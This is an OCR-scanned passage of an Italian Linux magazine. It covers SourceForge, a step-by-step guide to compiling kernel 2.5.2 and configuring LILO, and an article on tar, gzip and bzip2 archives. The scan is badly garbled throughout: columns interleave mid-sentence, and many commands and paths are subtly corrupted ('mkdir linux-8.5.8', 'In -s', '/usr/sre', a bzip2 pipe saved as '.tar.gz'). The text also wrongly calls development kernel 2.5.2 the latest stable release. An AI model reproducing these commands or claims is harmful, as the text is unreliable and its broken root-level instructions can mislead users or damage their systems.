repository CVS (Change Versioning 
System). L'accesso al sistema CVS 
viene abilitato, oltre che agli sviluppa- 
tori, anche agli utenti di base, ma 
solo in lettura, così l'utente interessa- 
to al progetto potrà seguire sempre 
lo stato dello sviluppo e magari con- 
tribuire diventando un programmato- 
re attivo. 


Conclusioni 


SourceForge non è soltanto una gran- 
de idea, ma anche un insieme di pac- 
chetti software denominati 
SourceForge Enterprise Edition e 
SourceForge Portal Edition. In pratica 
il software che sta dietro tutto que- 
sto sistema centralizzato di gestione 
dei progetti Open Source è diventato, 
esso stesso, un progetto di 
SourceForge. A parte la simpatica 
ricorsività dell'aspetto, va notato che 
già una corporate di grande fama 
come Hewlett Packard, molto sensi- 
bile alle potenzialità dell'Open 
Source, ha adottato tale software per 
l'implementazione di devnet 
(Embedded Software Developer's 
Network): una rete per gli sviluppato- 
ri di software da inserire nei network 
device di HP di nuova generazione. 
Il primo scopo di questo articolo, che 
spero sia stato sufficientemente 
esauriente, è quello di illustrare un 
sito che in questo momento è una 
delle perle del Mondo Open Source e 
in cui si ritrovano, concretamente 
applicati, tutti i concetti derivanti 
dalla filosofia del Free Software. Il 
secondo obiettivo spero sia stato 
quello di seminare nel lettore il 
germe della curiosità e della voglia di 
programmare, entrando così a far 
parte della comunità Open Source 
non come utilizzatore passivo di pro- 
grammi, ma come sviluppatore attivo 
e partecipe. 
L'importante è che, qualsiasi cosa 
facciate, sia per divertimento e voglia 
di imparare. In poche parole e citan- 
do qualcun altro: "Just for Fun". 
Marco Gastreghini 
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Una corrente... d'aria nuova per il tuo computer, 
per scoprire tutte le novità hardware e software, 
le meraviglie di internet e, naturalmente, per 
avere le versioni più aggiornate dei migliori 
programmi per Windows. 
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Puntualmente,come avevamo promesso,in 
questo numero di Linux Magazine,abbiamo 


l inserito un articolo dedicato 
all'aggiornamento e alla configurazione del 
nucleo centrale del sistema operativo del 


| Kernel rappresenta il cuore di 
Linux,infatti,è da qui che viene 
eseguito ogni altro programma, 
inoltre, fornisce l'interfaccia con 


l'hardware per i programmi in 
esecuzione, esegue i processi e si 
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“pinguino”:il Kernel. 


occupa di gestire la memoria e le 
risorse disponibili. Originariamente 
(1991 ndr), come ben risaputo, il 
Kernel venne sviluppato da Linus 
Torvalds e ancora oggi è lui che si 
occupa, insieme ad Alan Cox, di gran 


parte dello sviluppo e della 
gestione. Tutto il resto, grazie anche 
al supporto della comunità di 
sviluppatori Open Source, è storia. 
In questo momento la versione 
stabile più recente è la 2.5.2 ed è 
proprio di questa che ci occuperemo 
nell'articolo. Per favorire la lettura e 
l'apprendimento, l'articolo è stato 
diviso in diversi paragrafi, in ognuno 
dei quali sono spiegati 
dettagliatamente i singoli passaggi 
da effettuare. Ricordate comunque 
che si tratta pur sempre di un 
argomento molto delicato, quindi 
massima prudenza e attenzione. Ma 
adesso al lavoro!!! 


Perche aggiornare il kernel 


I motivi possono essere vari e di 
diversa natura:aggiornamento ad una 
versione più recente, supporto di 
nuove periferiche o di combinazioni 
hardware "esotiche", oppure, per i 
meno esperti voglia di mettersi alla 
prova o semplice curiosità. Tutto 
questo è legato al fatto che il kernel 
è altamente configurabile in base 
alle proprie esigenze e il suo codice 
è “libero” (Open Source). 
Comunque quali siano i motivi che vi 
spingono a cimentarvi in questa 
prova, l'importante è esplorare e 
sforzarsi di capire quello che si sta 
facendo, in quanto quello che vi 
accingete a fare, rappresenta un 
passo importante nella 
comprensione dei segreti e delle 
possibilità di questo straordinario 
sistema operativo. 


Cosa serve e dove trovarlo 


Il kernel di Linux, come la maggior 
parte del software per questa 
piattaforma è Open Source, quindi si 
tratta di software gratuito. Ma 
l'aspetto più interessante è 
rappresentato dal fatto che si tratta 
di software libero e non solo perché 
possono essere utilizzate 
gratuitamente le sue funzioni ma, 
poiché è disponibile anche 
sottoforma di codice sorgente, può 
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The Linux Kernel Archives 


lificnieeteanr sti This is the primary site for the Linux kernel source, but it has much more than 
s just kernels. 


http: //www.kernel.org/pubf 


ftp://Ftp.kernel.org/pub/ 


rsync: / /rsync.kernel.org/pub/ 


Figura 1 
L’home page ufficiale del sito www.kernel.org. 


essere modificato e personalizzato a 
proprio piacimento. Probabilmente 
siete già in possesso di una copia 
del codice sorgente del Kernel, 
infatti, questo è incluso nelle 
distribuzioni commerciali. Se siete 
interessati alla versione più recente 
le vie da percorrere sono 
principalmente due. La prima 
consiste nello scaricare il file dalla 
rete, i siti a disposizione sono tanti, 
ma quello più indicato è il “The 
Linux kernel archives”, all'indirizzo 
http:/\www.kernel.org (Figura 1), 
oppure da uno dei numerosi siti 
mirror http://www. kernel.org/mirrors 
tra cui quello italiano 
http://\www.it.kernel.org/pub/linux 
(Figura 2) anche le equivalenti 
versioni ftp://ftp.kernel.org e 
ftp://ftp.it.kernel.org/pub/linux. La 
versione più recente è la 2.5.3, ma 
ancora instabile. Bisogna comunque 
tenere presente che si tratta di un 
file voluminoso, circa 29 Mbyte 
(incluse le patch già disponibili), e 
per chi dispone di una linea 
analogica occorrerà molto tempo per 
il download. Inoltre in questi siti è 
possibile trovare patch, prerelease, 
utility, librerie e documentazione, 
oltre a tutte le versioni precedenti. 
La seconda e più conveniente e 


consiste nell'utilizzare la versione 
2.5.2 allegata al Cd-Rom di questo 
mese gia testata da noi e 
perfettamente funzionante. Nel 
seguito dell'articolo faremo 
riferimento proprio a questa 
versione, più precisamente ai 
seguenti file: 


linux-2.5.2.tar.bz2 
patch-2.5.2.bz2 
linux-2.5.2.tar.bz2.sign 


Il file di riferimento è Linux- 
2.5.2.tar.bz2, mentre quello con 
l'estensione .sign è un signature file 
PGP serve per verificare che il file 
scaricato dai siti mirror sia 
esattamente uguale a quello 
reperibile negli archivi del Kernel 
Linux. Il file patch serve invece, se 
siete gia in possesso di una copia 
del sorgente e volete solo 
aggiornarlo. A questo punto 
assicuratevi di essere in possesso 
dei privilegi di amministratore (root), 
individuate il file Linux-2.5.2.tar.bz2 
presente nel CD-Rom allegato e 
copiatelo nella directory /usr/sre. 
Potete farlo sia in modalità grafica 
che con il comando cp dalla riga di 
comando. Da questo momento in poi 
procedete con la massima cautela, 
leggendo attentamente i comandi da 
immettere. 


| primi passi da compiere 


In /usr/src create una directory con il 
comando 


mkdir linux-8.5.8 


la directory creata avrà lo stesso 
nome della versione del Kernel che 
andremo ad installare. Nella directory 
/usr/sre sono già presenti una 
directory contenente la versione del 
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/ pubfsoftware 
/pub/software 
/pub/software 
fpub/software 
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fpubflinux 
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fpubflinux {pubfsoftware 


Una lista dei siti mirrors da dove scaricare le versioni aggiornate del Kernel. 


Terminale 
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Il risultato dei primi passaggi della compilazione del Kernel. 


Kernel che state già utilizzando 
(verosimilmente linux-2.4.xx) e un 
collegamento simbolico (symlink) di 
nome linux. Quest'ultimo va 
cancellato con il comando seguente: 


rm linux 
poi create un altro collegamento alla 


directory precedentemente creata, in 
questo modo: 


In -s linux-2.5.2 linux 
così facendo sarà possibile far 
riferimento alla directory con il nome 


linux o linux-2.5.2. Se eseguite il 
comando: 


file * 


dovreste ottenere un output simile al 
seguente: 


linux: symbolic link to linux-2.5.2 
linux-2.5.8: directory. 


Adesso è giunto il momento di 
decomprimere il file tramite i 
comandi: 


bunzìpg 


se utilizzate il file con l'estensione 
tar.bz2 (quella presente nel CD), 
&unziìp 


se utilizzate quello con estensione 
tar.gz. 


Eseguite il comando (per quelli che 
usano la copia inclusa nel CD-Rom) 


bunzip2 linux-2.5.2.tarbz2 
dopo averlo eseguito dovreste 
vedere un file con il nome linux- 
2.5:2.tar. 

inserite ora il comando: 


tar xvf linux-2.5.2.tar 


verrà quindi effettuata la 


decompressione vera e propria del 
file e otterrete così il codice 
sorgente, che andrà collocato nella 
directory creata in precedenza; se 
visualizzate il contenuto della 
directory troverete numerosi file. A 
questo punto potete anche eliminare 
il file linux-2.5.2.tar. È possibile 
controllare il risultato di questi primi 
passaggi facendo riferimento alla 
(Figura 3). Prima di passare alla 
sezione successiva conviene reperire 
più informazioni possibili riguardanti 
l'hardware a disposizione. | manuali 
dei vostri componenti rappresentano 
la scelta migliore. 


La configurazione 


Come abbiamo già avuto modo di 
dire il Kernel è disponibile sotto 
forma di codice sorgente, quindi, 
prima di poter essere utilizzato 
bisogna configurarlo, compilarlo e poi 
installarlo. Il primo passo consiste 
nella configurazione, e poiché le voci 
configurabili sono molte segue un 
breve riepilogo. La voce configurabile 
più importante riguarda il processore, 
ne sono supportati diversi modelli tra 
cui AMD, Intel, Sparc, Alpha etc. 
Altre voci configurabili sono le 
opzioni di rete e il File System. 
Anche in quest'ultimo caso è 
possibile scegliere tra diverse 
possibilità come: NTFS, DOS, FAT, 
05/2 e tanti altri. E possibile 
configurare il Kernel affinché supporti 
l'uso dei moduli, per fare in modo 
che questi possano essere aggiunti 
anche quando il Kernel è in 
esecuzione. Quelle citate sono solo 
alcune delle numerose voci 
configurabili. La configurazione può 
essere effettuata tramite riga di 
comando, tramite l'utilità di 
configurazione X con interfaccia 
grafica, oppure tramite l'utilità di 
configurazione batch; noi utilizzeremo 
la riga di comando, ma la scelta finale 
spetta a voi, si tratta di una 
questione più che di capacità, di 
gusto. Anche se bisogna ammettere 
che se si utilizza l'utilità X tutto 
diventa più facile. Per avviare l'utilità 


X (Figura 4 e 5) portarsi nella 
directory /usr/src/linux ed inserire il 
comando: 


make xconfig 


Se state utilizzando la riga di 
comando ci sarà più lavoro da 
svolgere ma anche più “piacere”. Per 
prima cosa, se non ci siete già, con il 
comando cd spostatevi nella 
directory /usr/src/linux, e immettete il 
comando: 


make config 


K Unux Kernel Configuration 


Code maturity level options 


Y/m/n/? 


Rispondendo m, il componente a cui 
fa riferimento la domanda, verrà 
compilato come modulo per essere 
caricato in modo dinamico, con il 
Kernel in esecuzione. Il secondo 
passo consiste nell'impostare le 
dipendenze, sempre dalla directory 
/usr/sre/linux digitate: 


make dep 


in questo caso bisogna solo guardare 
le informazioni che scorrono sullo 


SCSI support | File systems | 


Processor type and features | IEEE 1394 (FireWire) support (EXPERIMENTAL) | Sound | 
General setup | I20 device support | USB support | 
Memory Technology Devices (MTD) | Network device support | Bluetooth support | 


Parallel port support 


Piug and Play configuration | IrDA (infrared) support | Library routines | 
Block devices | ISDN | 

Muiti- device support (RAID and LVM) | —___ (not SCSI, not IDE) | Save and Exit | 
Telephony Support | Character devices | Load Configuration from File | 
ATA/IDE/MFM/RLL support | Multimedia devices | Store Configuration to File | 


Figura 95 
L’avvio dell’utility X. Notate l’enorme disponibilità di parametri per la configurazione 


del Kernel. 


vedrete apparire sullo schermo una 
serie di domande, ad alcune bisogna 
solo rispondere yes/no, altre invece 
sono domande a scelta multipla e 
bisogna immettere qualche cosa 
come il tipo di processore che 
intendete utilizzare, il File System da 
supportare e altre cose del genere 
(Figura 6). Le domande “yes/no” 
sono contraddistinte, per default, 
dalla lettera maiuscola, nell'esempio 
seguente la scelta di default è no: 


N/y/? 


il punto interrogativo significa che se 
immettete risposte che non 
corrispondono a y o n apparirà la 
guida. 

La domanda può apparire anche nella 
forma seguente: 


schermo in quanto, il passaggio si 
svolge in modo del tutto automatico. 
In questo modo viene richiamato il 
comando mkdep che esplora il codice 
sorgente alla ricerca di cosa debba 
essere o no incluso. 


A proposito dei moduli 


I moduli sono pezzi di codice che 
possono essere compilati e installati 
senza modificare il Kernel. Se 
durante la fase di configurazione del 
Kernel avete effettuato la scelta di 
configurarne qualche parte come 
modulo, tramite l'utilizzo dell'opzione 
m, in seguito vanno compilati tramite 
il comando: 


make modules 


in questo modo compilerete tutti i 
moduli e in seguito potrete installarli 
con il comando: 


make modules_install 


Come compilare il Kernel 


Dopo aver configurato il Kernel 
dovete passare alla sua creazione 
vera e propria, dovete cioè 
compilarlo. È in questa occasione che 
bisogna decidere se “costruire” un 
Kernel per essere utilizzato sul vostro 
hard disk, magari con LILO, oppure 
avviabile tramite floppy disk. Il 
comando per compilare il kernel è il 
seguente: 


make zImage 


il processo potrà durare alcuni minuti 
durante i quali bisogna solo attendere 
mentre sullo schermo scorrono i dati 
riguardanti la compilazione. 

Se il Kernel prodotto tramite questo 
comando dovesse risultare troppo 
eccessivo nelle dimensioni (dipende 
dalla configurazione scelta) dovete 
usare il comando: 


make bzImage 


Prima di sostituire il vecchio Kernel 
con quello nuovo effettuate un 
backup del vecchio e tenete pronto 
un disco di boot, in questo modo nel 
caso di mancato funzionamento del 
nuovo kernel potrete ripristinare 
quello precedente. È possibile 
utilizzare più versioni del Kernel 
contemporaneamente e scegliere 
quella che preferite in fase di avvio. 


Installazione del nuovo Kernel 


Ultimata la fase di configurazione 
l'ultimo passaggio che rimane da 
effettuare riguarda l'installazione del 
Kernel. Per prima cosa bisogna 
configurare LILO (Linux Loader) 
affinché il nuovo kernel possa essere 
avviato. LILO è un piccolo 
programma che si trova in /sbin/Iilo e 
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Figura 5 


Da questa maschera possiamo definire alcune opzioni atte all’ottimizzazione del 
processore che equipaggia la nostra Linux Box. 


possiede un file di configurazione 
nella directory /etc di nome /ilo.conf. 
Il file lilo.conf può anche assumere il 
seguente aspetto: 


boot=/dev/hda% 
map=/boot/map 
install=/boot/boot.b 
vga=normal 

default=linux 
keytable=/boot/it-latin1.klt 
lba32 

prompt 

timeout=50 
message=/boot/message-graphic 
menu-scheme=wb:bw:wb:bw 


image=/boot/vmlinuz 
label=linux 
root=/dev/hda6 
append=" quiet" 
vga=791 
read-only 

image=/boot/vmlinuz 
label=linux-nonfb 
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root=/dev/hda6 
read-only 

image=/boot/vmlinuz 
label=failsafe 
root=/dev/hda6 
append=" failsafe" 
read-only 

other=/dev/hdal 
label=windows 
table=/dev/hda 

other=/dev/fd0 
label=floppy 

unsafe 


in questo caso le voci presenti sono 
numerose, perché si tratta di un 
sistema multiboot. In genere di 
default /ilo.conf assume l'aspetto 
seguente: 


boot=/dev/hda, 
map=/boot/map 
insta.ll=/boot/boot.b 

prompt 

timeout=50 
image=/boot/vmlinuz-2.4.3-08 


label=linux 

root=/dev/hdal 
initrd=/boot/initrd-2.4.3-02 
read-only . 


Poiché quest'ultimo è molto più 
breve e soprattutto più semplice da 
leggere e capire, analizzeremo alcune 
delle voci presenti. 

La prima riga boot=/dev/hda sta ad 
indicare che il settore di boot si trova 
sull'MBR (Master Boot Record), 
settore d'avvio principale del disco 
fisso /dev/hda. La seconda riga indica 
il map file che si trova in /boot/map; 
si tratta di un file creato da lilo, 
quando questo viene eseguito, che 
contiene il nome e la locazione del 
Kernel o dei Kernel di cui è possibile 
effettuare il boot. La voce successiva 
prompt consente all'utente di 
effettuare una scelta in fase di boot, 
se omesso, il processo di boot 
prosegue senza permettere all'utente 
di effettuare la scelta. L'opzione 
timeout=50, rappresenta il tempo di 
attesa, espresso in decimi di 
secondo, del prompt affinché si 
immetta una scelta. La voce image 
indica l'immagine del kernel che 
verrà caricata. Adesso che abbiamo 
appreso qualche informazione 
riguardo Lilo e il suo file di 
configurazione /ilo.conf passiamo 
all'installazione del kernel. 


Installiamo il Kernel 


Il primo passo da compiere è inserire 
il comando: 


make zlilo 


se il Kernel dovesse essere di 
dimensioni troppo ampie inserite: 


make bzlilo 


Dopo aver eseguito il comando make 
zlilo (make bzlilo) dovete modificare il 
file /etc/lilo.conf, va bene anche un 
editor di testo, e inserire la voce 
relativa al nuovo Kernel, che il 
comando precedente ha installato 
nella directory root come vmilinuz. Il 


Figura 6 


L’output generato dal comando “Make Config”. 


file dovrà presentare l'aspetto 
seguente: 


boot=/dev/hda 
map=/boot/map 
install=/boot/boot.b 
prompt 
timeout=50 
image=/vmlinuz 
label=linux 
root=/dev/hda.l 
image=/boot/vmlinuz-2.4.3-20 
label=linux 
root=/dev/hdal 
initrd=/boot/initrd-2.4.3- 
20 
read-only. 


Prima di poter riavviare bisogna 
eseguire lilo, dalla riga di comando 
digitate lilo senza argomenti, affinché 
il relativo programma venga eseguito 
e legga il nuovo contenuto del file 
lilo.conf appena modificato, creando 


così un nuovo map file. 

Adesso potete riavviare, se tutto è 
andato per il meglio, in fase di boot 
dovreste vedere la voce relativa al 
Kernel appena installato. Di default 
verrà avviato per primo quello 
presente nella lista di /i/o.conf. 


I tipi di Kernel 


Fondamentalmente esistono due 
diversi tipi di Kernel: "Monolitico' e 
"MicroKernel".Le differenze tra le due 
tipologie sono sostanziali: un kernel 
monolitico risulta più"veloce” visto 
la sua struttura (viene strutturato In 
un unico file); il microkernel invece 
vanta una struttura molto più 
contorta: è basato su un UNICO 
nucleo che si occupa soltanto di 
gestire lo smistamento dei messaggi 
tra le diverse componenti distaccate 
dal kernel; in questo modo ogni 


parte del kernel è completamente 
distinta dalle altre che vengono 
coordinate mediante lo scambio di 
messaggi. Un kernel di tipo micro 
deve quindi “preoccuparsi” di 
gestire una serie di messaggi e di 
amministrare le risorse delegando 
quest'ultimo compito a dei processi 
esterni. 

Ciò permette di avere un kernel 
abbastanza snello a scapito 
comunque delle prestazioni. Linux è 
basato su Kernel di tipo monolitico, a 
tal proposito non sono poche le 
discussioni sorte sull'argomento, ci 
piace ricordare la diatriba tra Linus 
Torvalds, sostenitore accanito del 
kernel monolitico e Andrew S. 
Tanenbaum, creatore del sistema 
operativo MINIX e sostenitore del 
MicroKernel. Secondo Tanenbaum, 
infatti, Linux non è cross-platform, 
ovvero non può prescindere dalla 
macchina perché conta troppo sulle 
caratteristiche del 386, è una 
struttura troppo obsoleta che non ha 
ragione d'esistere nel secondo 
millennio. 

Torvalds ribatte che, se l'utilizzo del 
microkernel è l'unico principio per 
progettare un buon kernel, Minix non 
riesce a sposare bene questa 
filosofia, considerato che presenta 
ancora dei problemi nonostante 
l'utilizzo del multitasking. 

Per chi volesse approfondire: 
http://www. dina.dk/-abraham/ 
Linus_vs_Tanenbaum.html#&mvsmsa 


Conclusioni 


| passaggi da compiere per 
aggiornare ed installare un nuovo 
Kernel, come avete potuto voi stessi 
constatare, sono relativamente 
pochi, anche se molto importanti 
Certo si tratta di un argomento molto 
vasto, che merita sicuramente un 
ulteriore approfondimento da parte 
vostra, ma questo articolo fornisce 
tutte le indicazioni necessarie per 
iniziare da subito 

Buon divertimento e alla prossima 
volta 


Domenico Pingitore 


3029 


rchiviare, 


Comprimere... 
installare! 


Una panoramica sui principali formati di file 
di archiviazione e compressione e i comandi 


| nostro percorso dagli elementi basi- 
lari di Linux verso l'amministrazione 
di sistema sta gradatamente raggiun- 
gendo il punto in cui occorre fare 
attenzione a ciò che si fa. Alcuni dei 
comandi che trattiamo vanno necessa- 
riamente eseguiti come utente root e, 
se applicati sconsideratamente, posso- 
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per la loro gestione. 


no danneggiare il sistema. Per questo 
motivo, iniziamo da questo numero a 
segnalare gli esempi potenzialmente 
pericolosi con un appropriato commen- 
to; non eseguire questi comandi, o loro 
versioni modificate, a meno che tu non 
sappia esattamente quello che stai 
facendo! Ricorda anche che il prompt 


dei comandi riportato negli esempi è il 
carattere convenzionale che distingue 
l'utente root da un utente normale: nel 
primo caso il cancelletto, '#', nel secon- 
do il segno di dollaro, ‘$‘. Gli esempi 
sono progressivamente divenuti più 
generici, per cui nella maggior parte dei 
casi vanno leggermente adattati per 
funzionare. Incoraggiamo comunque 
anche i lettori meno smaliziati a provare 
ad applicare "dal vivo" i comandi sugge- 
riti; se non provi, non impari! 


Archiviare, conservare, 
trasportare... 


La correttezza concettuale della proget- 
tazione del sistema Unix è misurata dal 
fatto che, a trent'anni di distanza, 
costituisce ancora uno dei pilastri del- 
l'informatica moderna. Non bisogna 
perciò meravigliarsi se tra i suoi coman- 
di se ne trovano alcuni che hanno un 
nome e un funzionamento di default 
che rinvia a sistemi informatici piuttosto 
diversi dal PC; è il caso del comando 
tar(1), acronimo di tape archiver ("archi- 
viatore su nastro"). Nonostante il nome, 
tar è ampiamente utilizzato per gestire 
archivi su disco, CD-ROM e siti 
Internet; invece il suo utilizzo su nastro, 
a causa delle enormi dimensioni dei 
dischi moderni, è limitato quasi esclusi- 
vamente a sistemi ultraprofessionali. 
Concettualmente, si utilizza un archivio 
per combinare una serie di file e direc- 
tory. Il risultato è a sua volta un file, 
naturalmente di archivio. Questa opera- 
zione può essere utile per diversi scopi; 
innanzitutto, per effettuare backup, sal- 
vando i dati su un altro disco, su nastro, 
su CD-ROM, attraverso la rete, o su 
qualunque altro mezzo. Ovviamente, lo 
stesso sistema consente di effettuare 
un semplice trasporto di dati: l'archivio 
viene generato su un sistema, trasferi- 
to e scompattato su un altro. E natural- 
mente c'è il semplice scopo dell'archi- 
viazione: gli archivi permettono di con- 
centrare in un unico file un insieme di 
file, directory , collegamenti e file spe- 
ciali correlati, appartenenti allo stesso 
progetto. La distribuzione in formato 
sorgente del software libero avviene 
quasi esclusivamente in questa forma. 
La pagina di manuale e il file info di tar 


possono apparire ampi in maniera sco- 
raggiante, ma gli utilizzi di base sono 
piuttosto semplici e ricadono in uno 
schema comune. Per creare un archivio 
contenente una directory e tutto il suo 
contenuto, si dà un comando del tipo: 


$ tar cf archivio.tar mydir 


In questo esempio, archivio. tar è il 
nome dell'archivio che si vuole creare, 
e mydir è la directory da archiviare. Si 
possono archiviare una serie di direc- 
tory e/o file, semplicemente indicandoli 
di seguito: 


$ tar cf archivio.tar dirl dir2 myfi- 
le dir3/file dir4 ... 


Per visualizzare il contenuto di un 
archivio, si utilizza l'opzione 't": 


$ tar tf archivio.tar 
dir1l/ 

dirl/filel 

dir1/file2 

dir2/ 

dir2/altrofile 

myfile 


Per l'estrazione viene utilizzata l'opzione 


Ci 
$ tar xf archivio.tar 


Notare che, secondo la classica logica 
Unix "no news, good news" (‘nessuna 
nuova, buona nuova"), questo comando, 
come quello di creazione, non genera 
nessun messaggio, ma si limita a fare il 
suo lavoro; aggiungendo l'opzione ‘v' 
(‘verbose’), viene generato un elenco 
dei file che vengono archiviati. 

Dagli esempi indicati si nota che, a dif- 
ferenza della maggior parte dei comandi 
Gnu, tar non richiede che le opzioni ini- 
zino con il trattino -'; in questo caso la 
sintassi è leggermente più rigida, ma in 
compenso si abbreviano gli utilizzi più 
tipici. Per avere senso, un comando tar 
deve contenere almeno una tra una pic- 
cola serie di opzioni: oltre alla creazione, 
estrazione ed elenco di un archivio, 
sono possibili l'aggiunta di file (‘7’), la 
sostituzione ('u‘), il confronto con i file 
presenti su disco (‘d'), la concatenazio- 


Migrare un filesystem 


Nel kernel 2.4 è stato introdotto il "journaling 
file system" reiserfs, che presenta tutta una 
serie di vantaggi rispetto al classico ext2: il 


un sistema privato, per minimizzare i con- 
trolli sul filesystem, quanto su un server, per 
ottimizzare le prestazioni. Ovviamente la mi- 


disco non è suddiviso în blocchi, consen- grazione non e possibile su un filesystem 


tendo un migliore sfruttamento dello spazio, 
utilizza un algoritmo ad "albero bilanciato" 
per velocizzare l'accesso ai dati, ed è in 
grado di ricostruire i dati senza controlli do- 
po uno spegnimento accidentale o altri 
problemi al file system, per cui non è mai 
necessario il lento fsck(8) che viene eseguito 
automaticamente dal sistema dopo uno 
spegnimento accidentale oppure, a seconda 
della configurazione, su base periodica. 
L'utilizzo di reiserfs può essere utile tanto su 


montato, per cui per effettuare la migrazione 
sulla partizione di root è necessario partire 
da un dischetto esterno. Le altre partizioni 
possono essere invece migrate senza grossi 
problemi. Supponiamo ad esempio di voler 
migrare la partizione /var, e di avere spazio 
sufficiente su /pool per appoggiare momen- 
taneamente i dati. Con il comando mount 
senza parametri, verifichiamo che la par- 
tizione corrispondente al filesystem /var è la 
/dev/hdaS. Procediamo così: 


Ill PERICOLO! COMANDI DI AMMINISTRAZIONE! NON ESEGUIRE SE NON SAI 
Ill ESATTAMENTE QUELLO CHE STAI FACENDO!!! 


# telinit 1 


... il sistema passa in single user mode 


# cd / 

# tar cf /pool/var.tar var 
# umount /var 

# mkreiserfs /dev/hda5 
# vi /ete/fstab 


... modificare la riga relativa a /dev/hda5 cambiando il terzo campo da 


ext2 o auto a reiserfs 

# mount /var 

# tar xf /pool/var.tar 

# tar df /pool/var.tar /var 
# rm /pool/var.tar 

# cp -a /var /pool 


In questo caso, in luogo del comando tar si 
può utilizzare una semplice copia in mo- 


# cp -a /var/pool / 


L'opzione -a permette di copiare in maniera 
ricorsiva una directory, conservando i file 
speciali. Se però non si dispone di spazio 


ne di altri archivi (‘A’) e la cancellazione 
di elementi (‘delete’). L'opzione ‘f’, 
presente in tutti gli esempi precedenti 
come pure nei più tipici utilizzi del 
comando, indica che il primo argomen- 
to è il nome dell'archivio su cui operare; 
questo significa che un comando in cui 
non venga specificato il nome dell'archi- 
vio è perfettamente lecito. In questo 
caso, le moderne versioni di tar utilizza- 
no lo standard output; stampare l'archi- 
vio su schermo può sembrare inutile, 
ma facilita i trucchi con la concatenazio- 
ne, ed è comunque meglio che cercare 
di operare su nastro magnetico, come 


dalità archiviazione: 


sufficiente per una copia completa, si può 
provare a utilizzare un tar comprezzo: tar 
cezf /pool/var.tar.gz, e simili. 


farebbero le versioni più classiche di tar. 


La compressione 


Se generi un archivio contenente file di 
testo e poi osservi attraverso /ess(1) il 
risultato, oppure effettui un controllo 
sulle dimensioni, non tarderai ad accor- 
gerti che gli archivi tar (oggetto dello 
standard POSIX 1003.2) contengono 
semplicemente una concatenazione dei 
suoi componenti, e una serie di dati per 
la ricostruzione delle directory. A diffe- 
renza del più popolare formato di archi- 
viazione DOS\Vindows, quindi, non 
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Figura 1 


I kernel di Linux sono archiviati all'indirizzo www.kernel.org sotto forma di archivi tar 


compressi con gzip e bzipz. 


viene effettuata alcuna compressione; in 
perfetta coerenza con un altro degli ele- 
menti di base dei componenti unixoidi: 
esegui un solo compito, ma fallo bene! 
Un archivio è solo un archivio: un archi- 
vio compresso non è altro che lo stesso 
archivio dopo una compressione. Il 
comando di archiviazione non fa altro 
che archiviare: per comprimere si utilizza 
un comando di compressione. La storia 
Unix/Gnu/Linux ha visto tre principali 
programmi/algoritmi di compressione; 
dal più antico al più moderno, dal meno 
efficiente al migliore, si tratta di com- 
press, gzip(1) e bzip2(1); le estensioni 
comunemente utilizzate (ma non obbli- 
gatorie) sono, rispettivamente, ".Z', gz° 
e ‘.bz2'. Il primo comando è caduto 
ormai in disuso, ma gzip è in grado di 
utilizzare il corrispondente formato. 
Questa sequenza di comandi di com- 
pressione via via più sofisticati mostra 
un ulteriore vantaggio della separazione 
di compiti tra archiviazione e compres- 
sione: gli algoritmi di compressione più 
avanzati che vengono man mano sco- 
perti possono essere applicati al coman- 
do di archiviazione senza modificare il 
loro formato, sul quale sono meno pre- 
vedibili scoperte fondamentali. 
Particolarmente utile è anche la possibi- 
lità di comprimere un file senza inserirlo 
in un archivio; in questo modo, ad 
esempio, è possibile comprimere tutti i 
file presenti in una directory, e conserva- 
re traccia immediata dei loro nomi (ope- 
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razione utile per documentazione in for- 
mato puro testo). L'utilizzo di gzip e 
bzip2 è sufficientemente semplice da 
non necessitare di particolari commenti: 
basta applicarli a un file (gzip nomefile, 
bzip2 nomefile) per comprimerlo in un 
file dello stesso nome con la corrispon- 
dente estensione; per decomprimere, si 
utilizza l'opzione -d (come in gzip -d 
nomefile.gz). Altre opzioni comuni sono 
-f per sovrascrivere un file esistente e 
-1, -9 per regolare la capacità di com- 
pressione dell'algoritmo. Per scrivere il 
risultato sullo standard output, operazio- 
ne fondamentale nelle concatenazioni, si 
utilizza l'opzione -c; il comando gzip -cd 
file.txt.gz | less, ad esempio, consente 
di visualizzare un file di testo compresso 
in un solo passaggio. Per questa opera- 
zione viene comunque fornito lo shell 
script zless (e bzless per i file compressi 
con il più efficiente bzijp2). Scipt analoghi 
sono forniti per altri compiti comuni: 
zdiff e bzdiff per il confronto di file, 
zgrep e bzgrep per la ricerca di stringhe 
all'interno di file compressi. Invece zcat 
e bzcat utilizzano un altro trucco: lo stes- 
so programma viene fatto girare con un 
nome diverso, all'avvio controlla il suo 
nome, e attiva automaticamente certe 
opzioni - in questo caso, -c per scrivere 
sullo standard output. Una particolare 
menzione merita lo script gzexe, che 
permette di comprimere un programma 
in un file che si decomprime automatica- 
mente in esecuzione. Non sono molti i 


sistemi in cui questo trucco si rivela 
utile, dal momento che i computer con 
spazio disco limitato hanno anche poca 
potenza di calcolo e non possono quindi 
permettersi di perdere tempo a decom- 
primere gli eseguibili; ciononostante, 
anche questo trucco può occasional- 
mente tornare utile, ad esempio per far 
entrare un maggior numero di comandi 
su un dischetto di boot destinato a com- 
puter relativamente recenti. Per ottene- 
re un archivio compresso è sufficiente 
concatenare l'output di tar con uno dei 
programmi di compressione: 


$ tar c mail | bzip2 - > mail.tar.gz 


Questo utilizzo è così comune che tar 
possiede una serie di opzioni per sempli- 
ficare la sintassi: l'opzione -z invia il risul- 
tato dell'archiviazione a gzip, -j lo invia a 
bzip2, -compress-program pr lo invia al 
programma pr. 


Altri formati 


Esistono altri comandi per l'archiviazione 
di file in Linux e nei sistemi unixoidi, 
alcuni con la loro nicchia di utilizzo, altri 
quasi completamente obsoleti. Alla 
prima categoria appartiene il formato 
ar(1), utilizzato per la creazione di librerie 
di funzioni per la programmazione; i file 
di questo tipo hanno in genere un'esten- 
sione .a. Potete ad esempio elencare le 
funzioni della libreria standard con il 
comando ar t /usr/lib/libc.a, che elenca 
tutti i file oggetto ivi presenti. Il coman- 
do ar è in genere utilizzato esplicitamen- 
te solo dai programmatori che lavorano 
sugli strumenti di programmazione (1), 
ma può essere occasionalmente utile 
per investigare problemi da parte degli 
amministratori di sistema o dei program- 
matori "semplici". Il comando shar(1) è 
utilizzato per generare archivi che possa- 
no essere inviati per posta elettronica. Il 
risultato è uno shell script che può esse- 
re direttamente eseguito per estrarre i 
file originali. Gli elementi di testo sono 
inseriti nell'archivio shar così come 
sono, mentre i file binari vengono codifi- 
cati in testo puro tramite il programma 
uuencode(1). Esiste anche un program- 
ma unshar(1), che ricerca un archivio 
shar all'interno di un messaggio di posta 


rpm -ga 
rpm -ga | grep pippo 


